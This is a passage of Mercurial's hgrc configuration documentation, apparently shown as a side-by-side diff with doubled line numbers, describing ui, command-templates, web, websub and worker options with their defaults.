2847 Alias for ``warn``.
2876 Alias for ``warn``.
2848
2877
2849 ``false``
2878 ``false``
2850 Alias for ``ignore``.
2879 Alias for ``ignore``.
2851
2880
2852 .. container:: windows
2881 .. container:: windows
2853
2882
2854 On Windows, this configuration option is ignored and the command aborted.
2883 On Windows, this configuration option is ignored and the command aborted.
2855
2884
2856 ``pre-merge-tool-output-template``
2885 ``pre-merge-tool-output-template``
2857 (DEPRECATED) Use ``command-template.pre-merge-tool-output`` instead.
2886 (DEPRECATED) Use ``command-template.pre-merge-tool-output`` instead.
2858
2887
2859 ``quiet``
2888 ``quiet``
2860 Reduce the amount of output printed.
2889 Reduce the amount of output printed.
2861 (default: False)
2890 (default: False)
2862
2891
2863 ``relative-paths``
2892 ``relative-paths``
2864 Prefer relative paths in the UI.
2893 Prefer relative paths in the UI.
2865
2894
2866 ``remotecmd``
2895 ``remotecmd``
2867 Remote command to use for clone/push/pull operations.
2896 Remote command to use for clone/push/pull operations.
2868 (default: ``hg``)
2897 (default: ``hg``)
2869
2898
2870 ``report_untrusted``
2899 ``report_untrusted``
2871 Warn if a ``.hg/hgrc`` file is ignored due to not being owned by a
2900 Warn if a ``.hg/hgrc`` file is ignored due to not being owned by a
2872 trusted user or group.
2901 trusted user or group.
2873 (default: True)
2902 (default: True)
2874
2903
2875 ``slash``
2904 ``slash``
2876 (Deprecated. Use ``slashpath`` template filter instead.)
2905 (Deprecated. Use ``slashpath`` template filter instead.)
2877
2906
2878 Display paths using a slash (``/``) as the path separator. This
2907 Display paths using a slash (``/``) as the path separator. This
2879 only makes a difference on systems where the default path
2908 only makes a difference on systems where the default path
2880 separator is not the slash character (e.g. Windows uses the
2909 separator is not the slash character (e.g. Windows uses the
2881 backslash character (``\``)).
2910 backslash character (``\``)).
2882 (default: False)
2911 (default: False)
2883
2912
2884 ``statuscopies``
2913 ``statuscopies``
2885 Display copies in the status command.
2914 Display copies in the status command.
2886
2915
2887 ``ssh``
2916 ``ssh``
2888 Command to use for SSH connections. (default: ``ssh``)
2917 Command to use for SSH connections. (default: ``ssh``)
2889
2918
2890 ``ssherrorhint``
2919 ``ssherrorhint``
2891 A hint shown to the user in the case of SSH error (e.g.
2920 A hint shown to the user in the case of SSH error (e.g.
2892 ``Please see http://company/internalwiki/ssh.html``)
2921 ``Please see http://company/internalwiki/ssh.html``)
2893
2922
2894 ``strict``
2923 ``strict``
2895 Require exact command names, instead of allowing unambiguous
2924 Require exact command names, instead of allowing unambiguous
2896 abbreviations. (default: False)
2925 abbreviations. (default: False)
2897
2926
2898 ``style``
2927 ``style``
2899 Name of style to use for command output.
2928 Name of style to use for command output.
2900
2929
2901 ``supportcontact``
2930 ``supportcontact``
2902 A URL where users should report a Mercurial traceback. Use this if you are a
2931 A URL where users should report a Mercurial traceback. Use this if you are a
2903 large organisation with its own Mercurial deployment process and crash
2932 large organisation with its own Mercurial deployment process and crash
2904 reports should be addressed to your internal support.
2933 reports should be addressed to your internal support.
2905
2934
2906 ``textwidth``
2935 ``textwidth``
2907 Maximum width of help text. A longer line generated by ``hg help`` or
2936 Maximum width of help text. A longer line generated by ``hg help`` or
2908 ``hg subcommand --help`` will be broken after white space to get this
2937 ``hg subcommand --help`` will be broken after white space to get this
2909 width or the terminal width, whichever comes first.
2938 width or the terminal width, whichever comes first.
2910 A non-positive value will disable this and the terminal width will be
2939 A non-positive value will disable this and the terminal width will be
2911 used. (default: 78)
2940 used. (default: 78)
2912
2941
2913 ``timeout``
2942 ``timeout``
2914 The timeout used when a lock is held (in seconds), a negative value
2943 The timeout used when a lock is held (in seconds), a negative value
2915 means no timeout. (default: 600)
2944 means no timeout. (default: 600)
2916
2945
2917 ``timeout.warn``
2946 ``timeout.warn``
2918 Time (in seconds) before a warning is printed about held lock. A negative
2947 Time (in seconds) before a warning is printed about held lock. A negative
2919 value means no warning. (default: 0)
2948 value means no warning. (default: 0)
2920
2949
2921 ``traceback``
2950 ``traceback``
2922 Mercurial always prints a traceback when an unknown exception
2951 Mercurial always prints a traceback when an unknown exception
2923 occurs. Setting this to True will make Mercurial print a traceback
2952 occurs. Setting this to True will make Mercurial print a traceback
2924 on all exceptions, even those recognized by Mercurial (such as
2953 on all exceptions, even those recognized by Mercurial (such as
2925 IOError or MemoryError). (default: False)
2954 IOError or MemoryError). (default: False)
2926
2955
2927 ``tweakdefaults``
2956 ``tweakdefaults``
2928
2957
2929 By default Mercurial's behavior changes very little from release
2958 By default Mercurial's behavior changes very little from release
2930 to release, but over time the recommended config settings
2959 to release, but over time the recommended config settings
2931 shift. Enable this config to opt in to get automatic tweaks to
2960 shift. Enable this config to opt in to get automatic tweaks to
2932 Mercurial's behavior over time. This config setting will have no
2961 Mercurial's behavior over time. This config setting will have no
2933 effect if ``HGPLAIN`` is set or ``HGPLAINEXCEPT`` is set and does
2962 effect if ``HGPLAIN`` is set or ``HGPLAINEXCEPT`` is set and does
2934 not include ``tweakdefaults``. (default: False)
2963 not include ``tweakdefaults``. (default: False)
2935
2964
2936 It currently means::
2965 It currently means::
2937
2966
2938 .. tweakdefaultsmarker
2967 .. tweakdefaultsmarker
2939
2968
2940 ``username``
2969 ``username``
2941 The committer of a changeset created when running "commit".
2970 The committer of a changeset created when running "commit".
2942 Typically a person's name and email address, e.g. ``Fred Widget
2971 Typically a person's name and email address, e.g. ``Fred Widget
2943 <fred@example.com>``. Environment variables in the
2972 <fred@example.com>``. Environment variables in the
2944 username are expanded.
2973 username are expanded.
2945
2974
2946 (default: ``$EMAIL`` or ``username@hostname``. If the username in
2975 (default: ``$EMAIL`` or ``username@hostname``. If the username in
2947 hgrc is empty, e.g. if the system admin set ``username =`` in the
2976 hgrc is empty, e.g. if the system admin set ``username =`` in the
2948 system hgrc, it has to be specified manually or in a different
2977 system hgrc, it has to be specified manually or in a different
2949 hgrc file)
2978 hgrc file)
2950
2979
2951 ``verbose``
2980 ``verbose``
2952 Increase the amount of output printed. (default: False)
2981 Increase the amount of output printed. (default: False)
2953
2982
2954
2983
2955 ``command-templates``
2984 ``command-templates``
2956 ---------------------
2985 ---------------------
2957
2986
2958 Templates used for customizing the output of commands.
2987 Templates used for customizing the output of commands.
2959
2988
2960 ``graphnode``
2989 ``graphnode``
2961 The template used to print changeset nodes in an ASCII revision graph.
2990 The template used to print changeset nodes in an ASCII revision graph.
2962 (default: ``{graphnode}``)
2991 (default: ``{graphnode}``)
2963
2992
2964 ``log``
2993 ``log``
2965 Template string for commands that print changesets.
2994 Template string for commands that print changesets.
2966
2995
2967 ``mergemarker``
2996 ``mergemarker``
2968 The template used to print the commit description next to each conflict
2997 The template used to print the commit description next to each conflict
2969 marker during merge conflicts. See :hg:`help templates` for the template
2998 marker during merge conflicts. See :hg:`help templates` for the template
2970 format.
2999 format.
2971
3000
2972 Defaults to showing the hash, tags, branches, bookmarks, author, and
3001 Defaults to showing the hash, tags, branches, bookmarks, author, and
2973 the first line of the commit description.
3002 the first line of the commit description.
2974
3003
2975 If you use non-ASCII characters in names for tags, branches, bookmarks,
3004 If you use non-ASCII characters in names for tags, branches, bookmarks,
2976 authors, and/or commit descriptions, you must pay attention to encodings of
3005 authors, and/or commit descriptions, you must pay attention to encodings of
2977 managed files. At template expansion, non-ASCII characters use the encoding
3006 managed files. At template expansion, non-ASCII characters use the encoding
2978 specified by the ``--encoding`` global option, ``HGENCODING`` or other
3007 specified by the ``--encoding`` global option, ``HGENCODING`` or other
2979 environment variables that govern your locale. If the encoding of the merge
3008 environment variables that govern your locale. If the encoding of the merge
2980 markers is different from the encoding of the merged files,
3009 markers is different from the encoding of the merged files,
2981 serious problems may occur.
3010 serious problems may occur.
2982
3011
2983 Can be overridden per-merge-tool, see the ``[merge-tools]`` section.
3012 Can be overridden per-merge-tool, see the ``[merge-tools]`` section.
2984
3013
2985 ``oneline-summary``
3014 ``oneline-summary``
2986 A template used by `hg rebase` and other commands for showing a one-line
3015 A template used by `hg rebase` and other commands for showing a one-line
2987 summary of a commit. If the template configured here is longer than one
3016 summary of a commit. If the template configured here is longer than one
2988 line, then only the first line is used.
3017 line, then only the first line is used.
2989
3018
2990 The template can be overridden per command by defining a template in
3019 The template can be overridden per command by defining a template in
2991 `oneline-summary.<command>`, where `<command>` can be e.g. "rebase".
3020 `oneline-summary.<command>`, where `<command>` can be e.g. "rebase".
2992
3021
2993 ``pre-merge-tool-output``
3022 ``pre-merge-tool-output``
2994 A template that is printed before executing an external merge tool. This can
3023 A template that is printed before executing an external merge tool. This can
2995 be used to print out additional context that might be useful to have during
3024 be used to print out additional context that might be useful to have during
2996 the conflict resolution, such as the description of the various commits
3025 the conflict resolution, such as the description of the various commits
2997 involved or bookmarks/tags.
3026 involved or bookmarks/tags.
2998
3027
2999 Additional information is available in the ``local`, ``base``, and ``other``
3028 Additional information is available in the ``local`, ``base``, and ``other``
3000 dicts. For example: ``{local.label}``, ``{base.name}``, or
3029 dicts. For example: ``{local.label}``, ``{base.name}``, or
3001 ``{other.islink}``.
3030 ``{other.islink}``.
3002
3031
3003
3032
3004 ``web``
3033 ``web``
3005 -------
3034 -------
3006
3035
3007 Web interface configuration. The settings in this section apply to
3036 Web interface configuration. The settings in this section apply to
3008 both the builtin webserver (started by :hg:`serve`) and the script you
3037 both the builtin webserver (started by :hg:`serve`) and the script you
3009 run through a webserver (``hgweb.cgi`` and the derivatives for FastCGI
3038 run through a webserver (``hgweb.cgi`` and the derivatives for FastCGI
3010 and WSGI).
3039 and WSGI).
3011
3040
3012 The Mercurial webserver does no authentication (it does not prompt for
3041 The Mercurial webserver does no authentication (it does not prompt for
3013 usernames and passwords to validate *who* users are), but it does do
3042 usernames and passwords to validate *who* users are), but it does do
3014 authorization (it grants or denies access for *authenticated users*
3043 authorization (it grants or denies access for *authenticated users*
3015 based on settings in this section). You must either configure your
3044 based on settings in this section). You must either configure your
3016 webserver to do authentication for you, or disable the authorization
3045 webserver to do authentication for you, or disable the authorization
3017 checks.
3046 checks.
3018
3047
3019 For a quick setup in a trusted environment, e.g., a private LAN, where
3048 For a quick setup in a trusted environment, e.g., a private LAN, where
3020 you want it to accept pushes from anybody, you can use the following
3049 you want it to accept pushes from anybody, you can use the following
3021 command line::
3050 command line::
3022
3051
3023 $ hg --config web.allow-push=* --config web.push_ssl=False serve
3052 $ hg --config web.allow-push=* --config web.push_ssl=False serve
3024
3053
3025 Note that this will allow anybody to push anything to the server and
3054 Note that this will allow anybody to push anything to the server and
3026 that this should not be used for public servers.
3055 that this should not be used for public servers.
3027
3056
3028 The full set of options is:
3057 The full set of options is:
3029
3058
3030 ``accesslog``
3059 ``accesslog``
3031 Where to output the access log. (default: stdout)
3060 Where to output the access log. (default: stdout)
3032
3061
3033 ``address``
3062 ``address``
3034 Interface address to bind to. (default: all)
3063 Interface address to bind to. (default: all)
3035
3064
3036 ``allow-archive``
3065 ``allow-archive``
3037 List of archive format (bz2, gz, zip) allowed for downloading.
3066 List of archive format (bz2, gz, zip) allowed for downloading.
3038 (default: empty)
3067 (default: empty)
3039
3068
3040 ``allowbz2``
3069 ``allowbz2``
3041 (DEPRECATED) Whether to allow .tar.bz2 downloading of repository
3070 (DEPRECATED) Whether to allow .tar.bz2 downloading of repository
3042 revisions.
3071 revisions.
3043 (default: False)
3072 (default: False)
3044
3073
3045 ``allowgz``
3074 ``allowgz``
3046 (DEPRECATED) Whether to allow .tar.gz downloading of repository
3075 (DEPRECATED) Whether to allow .tar.gz downloading of repository
3047 revisions.
3076 revisions.
3048 (default: False)
3077 (default: False)
3049
3078
3050 ``allow-pull``
3079 ``allow-pull``
3051 Whether to allow pulling from the repository. (default: True)
3080 Whether to allow pulling from the repository. (default: True)
3052
3081
3053 ``allow-push``
3082 ``allow-push``
3054 Whether to allow pushing to the repository. If empty or not set,
3083 Whether to allow pushing to the repository. If empty or not set,
3055 pushing is not allowed. If the special value ``*``, any remote
3084 pushing is not allowed. If the special value ``*``, any remote
3056 user can push, including unauthenticated users. Otherwise, the
3085 user can push, including unauthenticated users. Otherwise, the
3057 remote user must have been authenticated, and the authenticated
3086 remote user must have been authenticated, and the authenticated
3058 user name must be present in this list. The contents of the
3087 user name must be present in this list. The contents of the
3059 allow-push list are examined after the deny_push list.
3088 allow-push list are examined after the deny_push list.
3060
3089
3061 ``allow_read``
3090 ``allow_read``
3062 If the user has not already been denied repository access due to
3091 If the user has not already been denied repository access due to
3063 the contents of deny_read, this list determines whether to grant
3092 the contents of deny_read, this list determines whether to grant
3064 repository access to the user. If this list is not empty, and the
3093 repository access to the user. If this list is not empty, and the
3065 user is unauthenticated or not present in the list, then access is
3094 user is unauthenticated or not present in the list, then access is
3066 denied for the user. If the list is empty or not set, then access
3095 denied for the user. If the list is empty or not set, then access
3067 is permitted to all users by default. Setting allow_read to the
3096 is permitted to all users by default. Setting allow_read to the
3068 special value ``*`` is equivalent to it not being set (i.e. access
3097 special value ``*`` is equivalent to it not being set (i.e. access
3069 is permitted to all users). The contents of the allow_read list are
3098 is permitted to all users). The contents of the allow_read list are
3070 examined after the deny_read list.
3099 examined after the deny_read list.
3071
3100
3072 ``allowzip``
3101 ``allowzip``
3073 (DEPRECATED) Whether to allow .zip downloading of repository
3102 (DEPRECATED) Whether to allow .zip downloading of repository
3074 revisions. This feature creates temporary files.
3103 revisions. This feature creates temporary files.
3075 (default: False)
3104 (default: False)
3076
3105
3077 ``archivesubrepos``
3106 ``archivesubrepos``
3078 Whether to recurse into subrepositories when archiving.
3107 Whether to recurse into subrepositories when archiving.
3079 (default: False)
3108 (default: False)
3080
3109
3081 ``baseurl``
3110 ``baseurl``
3082 Base URL to use when publishing URLs in other locations, so
3111 Base URL to use when publishing URLs in other locations, so
3083 third-party tools like email notification hooks can construct
3112 third-party tools like email notification hooks can construct
3084 URLs. Example: ``http://hgserver/repos/``.
3113 URLs. Example: ``http://hgserver/repos/``.
3085
3114
3086 ``cacerts``
3115 ``cacerts``
3087 Path to file containing a list of PEM encoded certificate
3116 Path to file containing a list of PEM encoded certificate
3088 authority certificates. Environment variables and ``~user``
3117 authority certificates. Environment variables and ``~user``
3089 constructs are expanded in the filename. If specified on the
3118 constructs are expanded in the filename. If specified on the
3090 client, then it will verify the identity of remote HTTPS servers
3119 client, then it will verify the identity of remote HTTPS servers
3091 with these certificates.
3120 with these certificates.
3092
3121
3093 To disable SSL verification temporarily, specify ``--insecure`` from
3122 To disable SSL verification temporarily, specify ``--insecure`` from
3094 command line.
3123 command line.
3095
3124
3096 You can use OpenSSL's CA certificate file if your platform has
3125 You can use OpenSSL's CA certificate file if your platform has
3097 one. On most Linux systems this will be
3126 one. On most Linux systems this will be
3098 ``/etc/ssl/certs/ca-certificates.crt``. Otherwise you will have to
3127 ``/etc/ssl/certs/ca-certificates.crt``. Otherwise you will have to
3099 generate this file manually. The form must be as follows::
3128 generate this file manually. The form must be as follows::
3100
3129
3101 -----BEGIN CERTIFICATE-----
3130 -----BEGIN CERTIFICATE-----
3102 ... (certificate in base64 PEM encoding) ...
3131 ... (certificate in base64 PEM encoding) ...
3103 -----END CERTIFICATE-----
3132 -----END CERTIFICATE-----
3104 -----BEGIN CERTIFICATE-----
3133 -----BEGIN CERTIFICATE-----
3105 ... (certificate in base64 PEM encoding) ...
3134 ... (certificate in base64 PEM encoding) ...
3106 -----END CERTIFICATE-----
3135 -----END CERTIFICATE-----
3107
3136
3108 ``cache``
3137 ``cache``
3109 Whether to support caching in hgweb. (default: True)
3138 Whether to support caching in hgweb. (default: True)
3110
3139
3111 ``certificate``
3140 ``certificate``
3112 Certificate to use when running :hg:`serve`.
3141 Certificate to use when running :hg:`serve`.
3113
3142
3114 ``collapse``
3143 ``collapse``
3115 With ``descend`` enabled, repositories in subdirectories are shown at
3144 With ``descend`` enabled, repositories in subdirectories are shown at
3116 a single level alongside repositories in the current path. With
3145 a single level alongside repositories in the current path. With
3117 ``collapse`` also enabled, repositories residing at a deeper level than
3146 ``collapse`` also enabled, repositories residing at a deeper level than
3118 the current path are grouped behind navigable directory entries that
3147 the current path are grouped behind navigable directory entries that
3119 lead to the locations of these repositories. In effect, this setting
3148 lead to the locations of these repositories. In effect, this setting
3120 collapses each collection of repositories found within a subdirectory
3149 collapses each collection of repositories found within a subdirectory
3121 into a single entry for that subdirectory. (default: False)
3150 into a single entry for that subdirectory. (default: False)
3122
3151
3123 ``comparisoncontext``
3152 ``comparisoncontext``
3124 Number of lines of context to show in side-by-side file comparison. If
3153 Number of lines of context to show in side-by-side file comparison. If
3125 negative or the value ``full``, whole files are shown. (default: 5)
3154 negative or the value ``full``, whole files are shown. (default: 5)
3126
3155
3127 This setting can be overridden by a ``context`` request parameter to the
3156 This setting can be overridden by a ``context`` request parameter to the
3128 ``comparison`` command, taking the same values.
3157 ``comparison`` command, taking the same values.
3129
3158
3130 ``contact``
3159 ``contact``
3131 Name or email address of the person in charge of the repository.
3160 Name or email address of the person in charge of the repository.
3132 (default: ui.username or ``$EMAIL`` or "unknown" if unset or empty)
3161 (default: ui.username or ``$EMAIL`` or "unknown" if unset or empty)
3133
3162
3134 ``csp``
3163 ``csp``
3135 Send a ``Content-Security-Policy`` HTTP header with this value.
3164 Send a ``Content-Security-Policy`` HTTP header with this value.
3136
3165
3137 The value may contain a special string ``%nonce%``, which will be replaced
3166 The value may contain a special string ``%nonce%``, which will be replaced
3138 by a randomly-generated one-time use value. If the value contains
3167 by a randomly-generated one-time use value. If the value contains
3139 ``%nonce%``, ``web.cache`` will be disabled, as caching undermines the
3168 ``%nonce%``, ``web.cache`` will be disabled, as caching undermines the
3140 one-time property of the nonce. This nonce will also be inserted into
3169 one-time property of the nonce. This nonce will also be inserted into
3141 ``<script>`` elements containing inline JavaScript.
3170 ``<script>`` elements containing inline JavaScript.
3142
3171
3143 Note: lots of HTML content sent by the server is derived from repository
3172 Note: lots of HTML content sent by the server is derived from repository
3144 data. Please consider the potential for malicious repository data to
3173 data. Please consider the potential for malicious repository data to
3145 "inject" itself into generated HTML content as part of your security
3174 "inject" itself into generated HTML content as part of your security
3146 threat model.
3175 threat model.
3147
3176
3148 ``deny_push``
3177 ``deny_push``
3149 Whether to deny pushing to the repository. If empty or not set,
3178 Whether to deny pushing to the repository. If empty or not set,
3150 push is not denied. If the special value ``*``, all remote users are
3179 push is not denied. If the special value ``*``, all remote users are
3151 denied push. Otherwise, unauthenticated users are all denied, and
3180 denied push. Otherwise, unauthenticated users are all denied, and
3152 any authenticated user name present in this list is also denied. The
3181 any authenticated user name present in this list is also denied. The
3153 contents of the deny_push list are examined before the allow-push list.
3182 contents of the deny_push list are examined before the allow-push list.
3154
3183
3155 ``deny_read``
3184 ``deny_read``
3156 Whether to deny reading/viewing of the repository. If this list is
3185 Whether to deny reading/viewing of the repository. If this list is
3157 not empty, unauthenticated users are all denied, and any
3186 not empty, unauthenticated users are all denied, and any
3158 authenticated user name present in this list is also denied access to
3187 authenticated user name present in this list is also denied access to
3159 the repository. If set to the special value ``*``, all remote users
3188 the repository. If set to the special value ``*``, all remote users
3160 are denied access (rarely needed ;). If deny_read is empty or not set,
3189 are denied access (rarely needed ;). If deny_read is empty or not set,
3161 the determination of repository access depends on the presence and
3190 the determination of repository access depends on the presence and
3162 content of the allow_read list (see description). If both
3191 content of the allow_read list (see description). If both
3163 deny_read and allow_read are empty or not set, then access is
3192 deny_read and allow_read are empty or not set, then access is
3164 permitted to all users by default. If the repository is being
3193 permitted to all users by default. If the repository is being
3165 served via hgwebdir, denied users will not be able to see it in
3194 served via hgwebdir, denied users will not be able to see it in
3166 the list of repositories. The contents of the deny_read list have
3195 the list of repositories. The contents of the deny_read list have
3167 priority over (are examined before) the contents of the allow_read
3196 priority over (are examined before) the contents of the allow_read
3168 list.
3197 list.
3169
3198
3170 ``descend``
3199 ``descend``
3171 hgwebdir indexes will not descend into subdirectories. Only repositories
3200 hgwebdir indexes will not descend into subdirectories. Only repositories
3172 directly in the current path will be shown (other repositories are still
3201 directly in the current path will be shown (other repositories are still
3173 available from the index corresponding to their containing path).
3202 available from the index corresponding to their containing path).
3174
3203
3175 ``description``
3204 ``description``
3176 Textual description of the repository's purpose or contents.
3205 Textual description of the repository's purpose or contents.
3177 (default: "unknown")
3206 (default: "unknown")
3178
3207
3179 ``encoding``
3208 ``encoding``
3180 Character encoding name. (default: the current locale charset)
3209 Character encoding name. (default: the current locale charset)
3181 Example: "UTF-8".
3210 Example: "UTF-8".
3182
3211
3183 ``errorlog``
3212 ``errorlog``
3184 Where to output the error log. (default: stderr)
3213 Where to output the error log. (default: stderr)
3185
3214
3186 ``guessmime``
3215 ``guessmime``
3187 Control MIME types for raw download of file content.
3216 Control MIME types for raw download of file content.
3188 Set to True to let hgweb guess the content type from the file
3217 Set to True to let hgweb guess the content type from the file
3189 extension. This will serve HTML files as ``text/html`` and might
3218 extension. This will serve HTML files as ``text/html`` and might
3190 allow cross-site scripting attacks when serving untrusted
3219 allow cross-site scripting attacks when serving untrusted
3191 repositories. (default: False)
3220 repositories. (default: False)
3192
3221
3193 ``hidden``
3222 ``hidden``
3194 Whether to hide the repository in the hgwebdir index.
3223 Whether to hide the repository in the hgwebdir index.
3195 (default: False)
3224 (default: False)
3196
3225
3197 ``ipv6``
3226 ``ipv6``
3198 Whether to use IPv6. (default: False)
3227 Whether to use IPv6. (default: False)
3199
3228
3200 ``labels``
3229 ``labels``
3201 List of string *labels* associated with the repository.
3230 List of string *labels* associated with the repository.
3202
3231
3203 Labels are exposed as a template keyword and can be used to customize
3232 Labels are exposed as a template keyword and can be used to customize
3204 output. e.g. the ``index`` template can group or filter repositories
3233 output. e.g. the ``index`` template can group or filter repositories
3205 by labels and the ``summary`` template can display additional content
3234 by labels and the ``summary`` template can display additional content
3206 if a specific label is present.
3235 if a specific label is present.
3207
3236
3208 ``logoimg``
3237 ``logoimg``
3209 File name of the logo image that some templates display on each page.
3238 File name of the logo image that some templates display on each page.
3210 The file name is relative to ``staticurl``. That is, the full path to
3239 The file name is relative to ``staticurl``. That is, the full path to
3211 the logo image is "staticurl/logoimg".
3240 the logo image is "staticurl/logoimg".
3212 If unset, ``hglogo.png`` will be used.
3241 If unset, ``hglogo.png`` will be used.
3213
3242
3214 ``logourl``
3243 ``logourl``
3215 Base URL to use for logos. If unset, ``https://mercurial-scm.org/``
3244 Base URL to use for logos. If unset, ``https://mercurial-scm.org/``
3216 will be used.
3245 will be used.
3217
3246
3218 ``maxchanges``
3247 ``maxchanges``
3219 Maximum number of changes to list on the changelog. (default: 10)
3248 Maximum number of changes to list on the changelog. (default: 10)
3220
3249
3221 ``maxfiles``
3250 ``maxfiles``
3222 Maximum number of files to list per changeset. (default: 10)
3251 Maximum number of files to list per changeset. (default: 10)
3223
3252
3224 ``maxshortchanges``
3253 ``maxshortchanges``
3225 Maximum number of changes to list on the shortlog, graph or filelog
3254 Maximum number of changes to list on the shortlog, graph or filelog
3226 pages. (default: 60)
3255 pages. (default: 60)
3227
3256
3228 ``name``
3257 ``name``
3229 Repository name to use in the web interface.
3258 Repository name to use in the web interface.
3230 (default: current working directory)
3259 (default: current working directory)
3231
3260
3232 ``port``
3261 ``port``
3233 Port to listen on. (default: 8000)
3262 Port to listen on. (default: 8000)
3234
3263
3235 ``prefix``
3264 ``prefix``
3236 Prefix path to serve from. (default: '' (server root))
3265 Prefix path to serve from. (default: '' (server root))
3237
3266
3238 ``push_ssl``
3267 ``push_ssl``
3239 Whether to require that inbound pushes be transported over SSL to
3268 Whether to require that inbound pushes be transported over SSL to
3240 prevent password sniffing. (default: True)
3269 prevent password sniffing. (default: True)
3241
3270
3242 ``refreshinterval``
3271 ``refreshinterval``
3243 How frequently directory listings re-scan the filesystem for new
3272 How frequently directory listings re-scan the filesystem for new
3244 repositories, in seconds. This is relevant when wildcards are used
3273 repositories, in seconds. This is relevant when wildcards are used
3245 to define paths. Depending on how much filesystem traversal is
3274 to define paths. Depending on how much filesystem traversal is
3246 required, refreshing may negatively impact performance.
3275 required, refreshing may negatively impact performance.
3247
3276
3248 Values less than or equal to 0 always refresh.
3277 Values less than or equal to 0 always refresh.
3249 (default: 20)
3278 (default: 20)
3250
3279
3251 ``server-header``
3280 ``server-header``
3252 Value for HTTP ``Server`` response header.
3281 Value for HTTP ``Server`` response header.
3253
3282
3254 ``static``
3283 ``static``
3255 Directory where static files are served from.
3284 Directory where static files are served from.
3256
3285
3257 ``staticurl``
3286 ``staticurl``
3258 Base URL to use for static files. If unset, static files (e.g. the
3287 Base URL to use for static files. If unset, static files (e.g. the
3259 hgicon.png favicon) will be served by the CGI script itself. Use
3288 hgicon.png favicon) will be served by the CGI script itself. Use
3260 this setting to serve them directly with the HTTP server.
3289 this setting to serve them directly with the HTTP server.
3261 Example: ``http://hgserver/static/``.
3290 Example: ``http://hgserver/static/``.
3262
3291
3263 ``stripes``
3292 ``stripes``
3264 How many lines a "zebra stripe" should span in multi-line output.
3293 How many lines a "zebra stripe" should span in multi-line output.
3265 Set to 0 to disable. (default: 1)
3294 Set to 0 to disable. (default: 1)
3266
3295
3267 ``style``
3296 ``style``
3268 Which template map style to use. The available options are the names of
3297 Which template map style to use. The available options are the names of
3269 subdirectories in the HTML templates path. (default: ``paper``)
3298 subdirectories in the HTML templates path. (default: ``paper``)
3270 Example: ``monoblue``.
3299 Example: ``monoblue``.
3271
3300
3272 ``templates``
3301 ``templates``
3273 Where to find the HTML templates. The default path to the HTML templates
3302 Where to find the HTML templates. The default path to the HTML templates
3274 can be obtained from ``hg debuginstall``.
3303 can be obtained from ``hg debuginstall``.
3275
3304
3276 ``websub``
3305 ``websub``
3277 ----------
3306 ----------
3278
3307
3279 Web substitution filter definition. You can use this section to
3308 Web substitution filter definition. You can use this section to
3280 define a set of regular expression substitution patterns which
3309 define a set of regular expression substitution patterns which
3281 let you automatically modify the hgweb server output.
3310 let you automatically modify the hgweb server output.
3282
3311
3283 The default hgweb templates only apply these substitution patterns
3312 The default hgweb templates only apply these substitution patterns
3284 on the revision description fields. You can apply them anywhere
3313 on the revision description fields. You can apply them anywhere
3285 you want when you create your own templates by adding calls to the
3314 you want when you create your own templates by adding calls to the
3286 "websub" filter (usually after calling the "escape" filter).
3315 "websub" filter (usually after calling the "escape" filter).
3287
3316
3288 This can be used, for example, to convert issue references to links
3317 This can be used, for example, to convert issue references to links
3289 to your issue tracker, or to convert "markdown-like" syntax into
3318 to your issue tracker, or to convert "markdown-like" syntax into
3290 HTML (see the examples below).
3319 HTML (see the examples below).
3291
3320
3292 Each entry in this section names a substitution filter.
3321 Each entry in this section names a substitution filter.
3293 The value of each entry defines the substitution expression itself.
3322 The value of each entry defines the substitution expression itself.
3294 The websub expressions follow the old interhg extension syntax,
3323 The websub expressions follow the old interhg extension syntax,
3295 which in turn imitates the Unix sed replacement syntax::
3324 which in turn imitates the Unix sed replacement syntax::
3296
3325
3297 patternname = s/SEARCH_REGEX/REPLACE_EXPRESSION/[i]
3326 patternname = s/SEARCH_REGEX/REPLACE_EXPRESSION/[i]
3298
3327
3299 You can use any separator other than "/". The final "i" is optional
3328 You can use any separator other than "/". The final "i" is optional
3300 and indicates that the search must be case insensitive.
3329 and indicates that the search must be case insensitive.
3301
3330
3302 Examples::
3331 Examples::
3303
3332
3304 [websub]
3333 [websub]
3305 issues = s|issue(\d+)|<a href="http://bts.example.org/issue\1">issue\1</a>|i
3334 issues = s|issue(\d+)|<a href="http://bts.example.org/issue\1">issue\1</a>|i
3306 italic = s/\b_(\S+)_\b/<i>\1<\/i>/
3335 italic = s/\b_(\S+)_\b/<i>\1<\/i>/
3307 bold = s/\*\b(\S+)\b\*/<b>\1<\/b>/
3336 bold = s/\*\b(\S+)\b\*/<b>\1<\/b>/
3308
3337
3309 ``worker``
3338 ``worker``
3310 ----------
3339 ----------
3311
3340
3312 Parallel master/worker configuration. We currently perform working
3341 Parallel master/worker configuration. We currently perform working
3313 directory updates in parallel on Unix-like systems, which greatly
3342 directory updates in parallel on Unix-like systems, which greatly
3314 helps performance.
3343 helps performance.
3315
3344
3316 ``enabled``
3345 ``enabled``
3317 Whether to enable workers code to be used.
3346 Whether to enable workers code to be used.
3318 (default: true)
3347 (default: true)
3319
3348
3320 ``numcpus``
3349 ``numcpus``
3321 Number of CPUs to use for parallel operations. A zero or
3350 Number of CPUs to use for parallel operations. A zero or
3322 negative value is treated as ``use the default``.
3351 negative value is treated as ``use the default``.
3323 (default: 4 or the number of CPUs on the system, whichever is larger)
3352 (default: 4 or the number of CPUs on the system, whichever is larger)
3324
3353
3325 ``backgroundclose``
3354 ``backgroundclose``
3326 Whether to enable closing file handles on background threads during certain
3355 Whether to enable closing file handles on background threads during certain
3327 operations. Some platforms aren't very efficient at closing file
3356 operations. Some platforms aren't very efficient at closing file
3328 handles that have been written or appended to. By performing file closing
3357 handles that have been written or appended to. By performing file closing
3329 on background threads, file write rate can increase substantially.
3358 on background threads, file write rate can increase substantially.
3330 (default: true on Windows, false elsewhere)
3359 (default: true on Windows, false elsewhere)
3331
3360
3332 ``backgroundcloseminfilecount``
3361 ``backgroundcloseminfilecount``
3333 Minimum number of files required to trigger background file closing.
3362 Minimum number of files required to trigger background file closing.
3334 Operations not writing this many files won't start background close
3363 Operations not writing this many files won't start background close
3335 threads.
3364 threads.
3336 (default: 2048)
3365 (default: 2048)
3337
3366
3338 ``backgroundclosemaxqueue``
3367 ``backgroundclosemaxqueue``
3339 The maximum number of opened file handles waiting to be closed in the
3368 The maximum number of opened file handles waiting to be closed in the
3340 background. This option only has an effect if ``backgroundclose`` is
3369 background. This option only has an effect if ``backgroundclose`` is
3341 enabled.
3370 enabled.
3342 (default: 384)
3371 (default: 384)
3343
3372
3344 ``backgroundclosethreadcount``
3373 ``backgroundclosethreadcount``
3345 Number of threads to process background file closes. Only relevant if
